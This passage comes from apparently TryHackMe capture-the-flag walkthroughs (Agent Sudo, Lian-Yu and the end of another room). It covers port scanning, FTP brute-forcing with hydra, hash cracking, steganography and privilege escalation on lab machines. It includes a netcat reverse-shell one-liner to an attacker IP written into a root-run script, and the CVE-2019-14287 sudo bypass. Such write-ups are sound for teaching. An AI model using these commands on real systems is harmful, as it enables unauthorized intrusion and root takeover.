![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOve4Stf5m5r3lwEzE%2Fimage.png?alt=media\&token=bd73df5a-4cd8-4fc0-a2d8-2965dde0a7a5)

Lets try to use this password `c4ntg3t3n0ughsp1c3` to switch users to `Lennie` on the machine

```bash
su lennie
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOw-XYDkmalFyVzw2O%2Fimage.png?alt=media\&token=8ef84e1f-3c2e-44dd-9037-5486b08a83dd)

Looks like we are now Lennie. We can read the `user.txt` now

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOwAYBvRHsfjbKzLHC%2Fimage.png?alt=media\&token=5e2a369f-6d3c-40ba-9170-9013d9fb7872)

Also looking at the starting directory, we find another interesting file called `/recipe.txt` , lets read that.

```bash
cat recipe.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOx2AC_ALbcRhQnoTy%2Fimage.png?alt=media\&token=e50ba7d7-64f3-46c4-b586-57f81c379d72)

This is the answer to the first question of the room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOx7is1xGb8sZuA-bY%2Fimage.png?alt=media\&token=9a156e1f-0d2e-44f4-91c8-6a90068421cf)

## Privilege Escalation

We see a file called planner.sh in the `/scripts` directory in Lennie's home directory. Lets read it.

```bash
cat planner.sh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOzNXq_a2BHnXD7GPz%2Fimage.png?alt=media\&token=9cd6a2fe-c1b9-45b0-bd4c-82840928b0f1)

It executes a file called `/etc/print.sh`, lets read that file

```bash
cat /etc/print.sh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbOzmp7cd8cmwdmfuPP%2Fimage.png?alt=media\&token=66abfd04-3db5-4e0b-ab9f-a8ff76ef2586)

It is a bash script that prints `Done!`. What if we echo a reverse shell and listen on our machine, would that give us root? Lets try it out.

We can use the reverse shell we did before and echo it into the file&#x20;

```bash
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f" > /etc/print.sh
```

Also make sure you started a netcat listener and after a while, you get a reverse shell and as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbOupYiEmgG4MBxLvVu%2F-MbP-zGWS8RkZnl2erQP%2Fimage.png?alt=media\&token=13f14c50-bb60-4250-9fae-87223a45885b)

You can now read the root.txt flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbP0-mqMHTCDddI8HiO%2F-MbP08-C-6NwbF5VAQBK%2Fimage.png?alt=media\&token=79a34485-5e29-463c-93d0-3fe8aafcdd96)


# Agent Sudo

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mayc7x8PVzFiq7zwE0x%2F-MaycFSb82o4h53RB614%2Fimage.png?alt=media\&token=6c2827a0-fdc9-4d9b-8c32-78ea59995343)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.89.53
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mayc7x8PVzFiq7zwE0x%2F-Maycn5sD1KQXsSt9YZQ%2Fimage.png?alt=media\&token=4062aaa5-bf6c-43f0-a3f5-341a018aea40)

We have 3 open ports, which is the answer to the first question in this task

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mayc7x8PVzFiq7zwE0x%2F-MaycyxNjcsNb-_PvkfB%2Fimage.png?alt=media\&token=f2c113b8-da5d-4894-bbf2-d6b373b1aef1)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.89.53
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mayc7x8PVzFiq7zwE0x%2F-MayfxrmvH8Vx_BTHGRz%2Fimage.png?alt=media\&token=43f3bf08-f56f-4476-92da-1c6349a4abe4)

## Task 2: Enumerate

Lets visit the website now and check what we are working with.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaygCxpkCIISTXPOkhb%2F-MaygcdhvLNdA3Hz_i62%2Fimage.png?alt=media\&token=bc63307b-e515-47a7-becf-ec3a08f06068)

It tells us to change the `user-agent` parameter to our own codename and access the site, so lets try doing that, but first we have to see how a request is being sent using curl. We can check by first using the command:&#x20;

Command Breakdown:&#x20;

* (-A): Specifying the user-agent
* (-L): Follows any redirections

```
curl -A "R" -L 10.10.89.53
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaygCxpkCIISTXPOkhb%2F-Mayhu4_cUY52vKZl3t-%2Fimage.png?alt=media\&token=c6cf9550-f2cd-4ffb-8baa-62b741b5e806)

It works, so lets try changing the user-agent to a different letter as one of the agents name is `R` which is a single letter, so I'm thinking others would have a single litter codename too. So after trying a few codenames I found one that gives us different results. Which is codename `C`.

```
curl -A "C" -L 10.10.89.53
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaygCxpkCIISTXPOkhb%2F-MayiH5qlEr7sBih7FGi%2Fimage.png?alt=media\&token=bf4541db-3456-4a63-bbce-1627acea972d)

We can see that agent C's actual name is `Chris`. And now we can answer questions 2 and 3, We can redirect ourselves to the secret page by changing the user-agent parameter.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayiNQFNa8meGYAKYf5%2F-MayiZeYV32qpLcfvnwA%2Fimage.png?alt=media\&token=60f6c337-13fa-4f45-bd57-fa007fe4421e)

The name of the agent is Chris

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayiNQFNa8meGYAKYf5%2F-MayicW1iadfX4dxCVJ5%2Fimage.png?alt=media\&token=435b69d2-18b7-42c4-8e5e-cc0982880ce5)

## Task 3: Hash cracking and brute-forcing

Now we found ourselves a username and we can try bruteforcing FTP that is running on port 21 with the help of `hydra`.

Command Breakdown:&#x20;

* (**-l**): Specifying username
* (**-P**): Specifying a file with passwords to crack the password.
* (**ftp**): Specifying which protocol to attack.

```
hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.89.53 ftp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayivD_uoCVYGZ4oQ-3%2F-MaykST5Ne33b8LUPI5I%2Fimage.png?alt=media\&token=73ef415c-6d78-499e-8574-0464c70c823f)

And we found the password, which is also the password to the first question of this task.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayivD_uoCVYGZ4oQ-3%2F-Mayk_ZuefI-38qnafY4%2Fimage.png?alt=media\&token=1fac87a0-8ca6-41ac-90c3-69239a148841)

Lets now login into FTP

```
ftp 10.10.89.53
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaykbKk91M7S8pij1E5%2F-Maykr2H_gfbxi2hPDoE%2Fimage.png?alt=media\&token=60dcf49e-dc16-4074-9368-10441d587a40)

Lets list what is there in the server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaykbKk91M7S8pij1E5%2F-MaykyBrfXlvzjO3V1Zt%2Fimage.png?alt=media\&token=a90a8429-4140-4f61-a0d0-bb6852f0cc18)

There are three files, we cannot read or see them here, so lets transfer them to our machine using the command `get`

```
get <file_name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaykbKk91M7S8pij1E5%2F-MaylJ2KudhpUl7TMBh4%2Fimage.png?alt=media\&token=4fbe2312-f3b4-4736-9223-1e386244b792)

Out of the three , one is a text file, so lets read it.

```
cat To_agentJ.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaykbKk91M7S8pij1E5%2F-MaylvMOdHoYHB3yRK7e%2Fimage.png?alt=media\&token=4f306b2f-e540-412c-b5b4-ff0fc8ca839e)

So we have to get the password which is hidden in one of the pictures we downloaded to our machine. So lets use a tool called `binwalk` which is used for finding hidden information in a file.

```
binwalk cutie.png
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maym6APZaah_qBx8-et%2F-MaynD8vVcguwHokEjWX%2Fimage.png?alt=media\&token=f7da9d1f-3162-4b36-b9dc-461b732703d9)

We can see that there is a hidden zip file within the file, so lets extract it with the flag (**-e**)

```
binwalk -e cutie.png
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaynVoaoiamF3gqA65W%2F-MayndevB6XQ85XLOj_c%2Fimage.png?alt=media\&token=e0a0e9bf-157a-4292-9b2c-bee8c598d4dd)

Looking in the directory we can see that there is a zip file that we cannot access as it is encrypted and needs a password. So we can try cracking the password using a module in johntheripper called `zip2john`.

```
zip2john 8702.zip > hash.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayoLM02MwFi9BOjEit%2F-MayoVIrMEkH8VbAXNTV%2Fimage.png?alt=media\&token=94db07af-5f13-47c6-b012-ab6959c4ecb5)

Now lets try cracking the hash with `JohnTheRipper`

```
john hash.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayoLM02MwFi9BOjEit%2F-MaypifyC0qiru7mWJd0%2Fimage.png?alt=media\&token=4719857d-9d39-48e0-89e7-429399392ab3)

We found the password which is `alien`which is also the answer to the second question in this task.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayoLM02MwFi9BOjEit%2F-MayqVqdrulf34VRPXjy%2Fimage.png?alt=media\&token=1d4a2b50-d235-4ca6-96d9-0eaf70483505)

Lets unzip the file using `7zip`

```
7z e 8702.zip
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayoLM02MwFi9BOjEit%2F-MayrOYY8e43JpI3svDC%2Fimage.png?alt=media\&token=2200f245-5d6d-4be6-9527-29725ac0af09)

And we get a new file called `To_agentR.txt`, lets read it.

```
cat To_agentR.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MayoLM02MwFi9BOjEit%2F-Mays-gWl61wMRoEdyIf%2Fimage.png?alt=media\&token=ea35dad0-b9e4-4ee3-904d-7a8470c56e8f)

Lets copy that string a put it in [CyberChef](https://gchq.github.io/CyberChef/). After putting it into CyberChef it says that it means `Area51` which looks like a password, so now lets try finding hidden files in the other image file we downloaded from FTP.&#x20;

```
steghide --extract -sf cute-alien.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaysU_6-w54gtC7jWHP%2F-MaysjO22RO2jrIvgTea%2Fimage.png?alt=media\&token=2fc1ed42-3cfb-4f58-9b02-fbc8870e5d9a)

Lets read `message.txt`

```
cat message.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaysU_6-w54gtC7jWHP%2F-MaysqBoCIm46NkAad0l%2Fimage.png?alt=media\&token=c4186e23-bc66-4420-8688-f76f58e440b5)

So now we know that the password for Chris is hackerrules, lets try to ssh into the machine using these credentials. We also know the name of the other agent which is James. With this information we can answer the last three questions of this task.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mayszt03zJ0lDowUyJS%2F-MaytAMHarzdTNSMBl60%2Fimage.png?alt=media\&token=2849d146-aa2c-4eac-b41b-a59c2a9e5d72)

## **Task 4: Capture The User Flag**

Now lest login through ssh as James as we have his password. &#x20;

```
ssh james@10.10.71.234                                                                                                                                             
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazWgxdJ4XtECE7X6U2%2F-MazWjSvFrqie58vC3X2%2Fimage.png?alt=media\&token=33969baf-ef21-432e-be26-c4ff818c5305)

And we can find the user flag in `/home/james` directory and it is also the answer to the first question of the task. We also see another file called `Alien_autospy.jpg` and the second question of the task is asking us what the incident of the photo is called. So for that we need to first transfer the file to our machine and we can use this command on our machine to do that.

```
scp james@10.10.71.234:Alien_autospy.jpg /root/Desktop/TryHackMe/AgentSudo
```

The directory that I specified is the directory I want the file to be in&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazYU9h4BF2TNWpqKG8%2F-MazZZhrU5qcxy2hgcjK%2Fimage.png?alt=media\&token=98e0eec1-5740-40e6-80cd-c8aed202fd40)

And now we have the file in our machine. Lets do a reverse google image search and see what incident this image is connected to. First we go to google images, and then we find the option to upload images after clicking the camera icon.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazYU9h4BF2TNWpqKG8%2F-MazZuq9sUqgAnTIZ6W-%2Fimage.png?alt=media\&token=545799cf-811e-4cd0-9234-920f4dba63b4)

Now choose the file and then we get a result saying the Roswell Incident. The answer to the last question in this section is `Roswell Alien Autopsy`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazYU9h4BF2TNWpqKG8%2F-Maz_F--h6xoYe4fsNaB%2Fimage.png?alt=media\&token=af0f3ec5-f877-4f77-b439-013d22739a58)

## Task 5: Privilege Escalation

The first command that we should run is `sudo -l` as it will tell us what we can run as other users.

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazYU9h4BF2TNWpqKG8%2F-Maz_ZXTlvIGWF_I71JY%2Fimage.png?alt=media\&token=49e592c4-1ce7-417c-8456-8738acdbadb9)

Looks like we can run `(ALL, !root) /bin/bash`, so lets take this and put it on google. Once we do it gives us a CVE number ([CVE-2019-14287](https://www.exploit-db.com/exploits/47502)) and after reading through this exploit, we can see that there is a command that escalates our privileges to root.&#x20;

```
sudo -u#-1 /bin/bash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazYU9h4BF2TNWpqKG8%2F-MazaX7HB9vIVFexw6lI%2Fimage.png?alt=media\&token=ab3be057-1136-4202-89ad-9878ee253eb4)

We are now root, you can find the root flag in the `/root` directory. Also we can answer the first and second questions of this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MazYU9h4BF2TNWpqKG8%2F-MazaouU-p2oTWCzORY0%2Fimage.png?alt=media\&token=920f96fb-843f-4835-a0f9-3e667bc74051)

As for the third question we find that answer in `root.txt` as well.


# Lian-Yu

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNT7V8lV5VFwy4QTBi%2F-MbNTLCaeo_g3J3Pg3kb%2Fimage.png?alt=media\&token=d8793591-2ad4-49bd-ad74-9aff9867b621)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.26.138
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNUaDy6q-hRwQJz0iN%2F-MbNUl5bGwLAI5Cu6GGh%2Fimage.png?alt=media\&token=88c09fbb-b360-4e73-a1be-b794a52fdc32)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80,111
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 21,22,80,111 -oN nmap 10.10.26.138
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNUaDy6q-hRwQJz0iN%2F-MbNV0cEi2J7jWg32rOu%2Fimage.png?alt=media\&token=37607f23-08d9-47fd-bb4a-207e57a0802d)

## Enumeration

### Port 80: HTTP

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNUaDy6q-hRwQJz0iN%2F-MbNVVRYhxEctjYr6qC4%2Fimage.png?alt=media\&token=6df37380-d5d7-48d4-9bb9-7b52800af9a0)

Its an introduction to the series `The Arrow` (I personally recommend you to watch it, its really good). Nothing of interest, we do have possible usernames, so lets add that to our notes.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNUaDy6q-hRwQJz0iN%2F-MbNWCczRWmrI7jYnjZP%2Fimage.png?alt=media\&token=95484df6-44a8-4cf1-ae42-ea9d1b46f3c8)

Now lets run gobuster to find hidden directories or file on the webserver. I tried few wordlists, but nothing showed up except this one (`directory-list-2.3-small.txt`)

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.26.138/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNWEEKsh0Hti7yfoQQ%2F-MbNYHfx0xgM5-Y9ei2I%2Fimage.png?alt=media\&token=4a52380f-8cea-40d9-8c7a-f9211a8d5d74)

Lets visit this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNWEEKsh0Hti7yfoQQ%2F-MbNYNZGGQvD-eIBIVL8%2Fimage.png?alt=media\&token=04394407-6c8e-4c0b-ad21-0cd66c9fa24e)

We don't see the code word they talk about, so lets go to the source page and see if it is there.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNWEEKsh0Hti7yfoQQ%2F-MbNY_iKPlg0GV8VR06V%2Fimage.png?alt=media\&token=91996fc0-90d2-44cd-940e-81c803723eef)

We found something interesting, it looks like a username, lets add it to our possible usernames list.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNdzzK0WJwUZOKPSaK%2F-MbNeOOnIQSVD8mK8KIv%2Fimage.png?alt=media\&token=bb2ef4da-cbc9-40ee-bff7-5b1c14f74ced)

Lets now run a gobuster on the directory we found.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.26.138/island
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNWEEKsh0Hti7yfoQQ%2F-MbNZlycn2Un83UrdO6X%2Fimage.png?alt=media\&token=1559b841-55bb-4104-9254-8d0e8b0a418d)

We found a directory (also the answer to the third question) , lets go explore it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbN_Yaq2Zs9G3NRv4EX%2F-MbNcfWRyOUTT7dWDKr1%2Fimage.png?alt=media\&token=e9b290b4-70a6-42d4-80de-73282428a374)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNWEEKsh0Hti7yfoQQ%2F-MbNZtn2m00bgXPhqNHs%2Fimage.png?alt=media\&token=110a9651-8556-462d-87b7-912cc1bccde3)

Its a page with a video that does not load, lets look at the source code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNWEEKsh0Hti7yfoQQ%2F-MbN_-96N2k9ZGGTEBep%2Fimage.png?alt=media\&token=13800b36-25be-43d8-91ee-4f3856207fbd)

It says you can avail your `.ticket`, which looks like a extension, so why don't we use gobuster to find files with the extension `.ticket`.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.26.138/island/2100 -x php,html,.ticket
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbN_Yaq2Zs9G3NRv4EX%2F-MbNdPvZvalzXfeYQCqH%2Fimage.png?alt=media\&token=76f5d393-e40f-4d99-a604-b7c7b8ce96fe)

We found a file called `green_arrow.ticket` which is the answer to the third question.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbN_Yaq2Zs9G3NRv4EX%2F-MbNcj9H72ROenfnfBL2%2Fimage.png?alt=media\&token=711949a7-5af1-42dc-8d6e-53f625048bf4)

Lets go visit this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbN_Yaq2Zs9G3NRv4EX%2F-MbNcqViDplRyyVMMU7a%2Fimage.png?alt=media\&token=4983a230-2e17-4942-8981-959a90bed238)

Looks like some sort of code, lets crack it using Crackstation&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbN_Yaq2Zs9G3NRv4EX%2F-MbNdgsoomsR3cNTRtV1%2Fimage.png?alt=media\&token=c6d7bbc0-7673-4ab5-8580-54ca473b0455)

`!#th3h00d` , this might be the password for ftp on this machine, lets go check it out. This is also the answer to the fourth question.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbN_Yaq2Zs9G3NRv4EX%2F-MbNdzAwlVyrsIreCP-X%2Fimage.png?alt=media\&token=a604c94e-c6df-4ec0-a655-c2bc1ead7297)

### Port 21: FTP

We found the username `vigilante` a few steps back so lets try to login with these credentials.

`Username: vigilante`

`Password: !#th3h00d`

```
ftp 10.10.26.138
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNdzzK0WJwUZOKPSaK%2F-MbNebQzA__8FTVLlaeT%2Fimage.png?alt=media\&token=71e45d55-b60b-4813-9c0f-4bbcc2d091c2)

Lets list the file in the ftp server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNdzzK0WJwUZOKPSaK%2F-MbNf06Sobmh-DZaUdeN%2Fimage.png?alt=media\&token=4fd14a40-b52a-4faf-9769-568971e6ed66)

It looks like we have 3 files, lets transfer them all to our machine using the command get

```
get <file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNdzzK0WJwUZOKPSaK%2F-MbNfGwDu0400dOIn1_1%2Fimage.png?alt=media\&token=cefeec6b-d6b4-4cd7-959d-e60bab67f40b)

We can also see another file called `.other_file`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNl8hZdBr4D3VpmJmZ%2Fimage.png?alt=media\&token=e14f1cc2-d2b6-4bcd-b23b-034a43ffc650)

Lets transfer this file too.

```
get .other_file
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNlI5GdRS0CRM2CjhM%2Fimage.png?alt=media\&token=2138c32f-e2ed-45ab-887c-61a33c4aab60)

Lets read the file

```
cat .other_file
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNm0F9ePdE58URGLSY%2Fimage.png?alt=media\&token=6ab73d5e-95d4-476e-a88f-d4e647bd2b08)

From this file, we can say that `slade`can be another username

Lets also try to see the image files. For some reason we cannot open the file `Leave_me_alone.png`, it may have some errors, so lets look at the hexdump to check if it has any errors. Lets use the command xxd for this task.

```
xxd Leave_me_alone.png > hexdump
```

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNgfcZlQ4Jd-AvJzdP%2Fimage.png?alt=media\&token=7fcaa640-d8e9-479e-b346-8bf735d15fc4)

Looking at the first line, we can see some errors as the first 16 characters of a png file should be: 89 50 4E 47 0D 0A 1A 0A. So lets change that. To change these numbers, we can use the tool `hexeditor`.

```
hexeditor Leave_me_alone.png
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNhgbRwLdnzzWqryCa%2Fimage.png?alt=media\&token=4928c890-293a-44d2-b97d-059f19dd2d35)

Now lets change it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNiH7k0UGi91x8GoZ-%2Fimage.png?alt=media\&token=f64342de-0e58-4905-bb8d-e65d74cd584e)

Now save it with `(Ctrl + x)`. We can now see the image.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNi_u3tsS5_MbujFkf%2Fimage.png?alt=media\&token=6d738634-aa00-4e6a-99d3-bb7610a6edcb)

It looks like we found a password which is `password`

Lets now explore the other files. We can use steghide to find hidden files in files.

```
steghide --extract -sf aa.jpg 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNjA8Hg3uRVMFQosKS%2Fimage.png?alt=media\&token=f6c6992e-93c0-4935-9c1b-84a9aa2381cf)

They ask a password , and we found a password which is `password`. We now have zip file called `ss.zip`. Lets unzip it and check what is contains.

```
unzip ss.zip
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbNfI3yX6jT1Dcd1Xlv%2F-MbNjkbW69moKJmcGDcY%2Fimage.png?alt=media\&token=fcc2d78d-0030-47ef-afb9-0787fb1bec0d)

Looks like we have two new files called `passwd.txt` and `shado`. Lets read them

```
cat passwd.txt
```

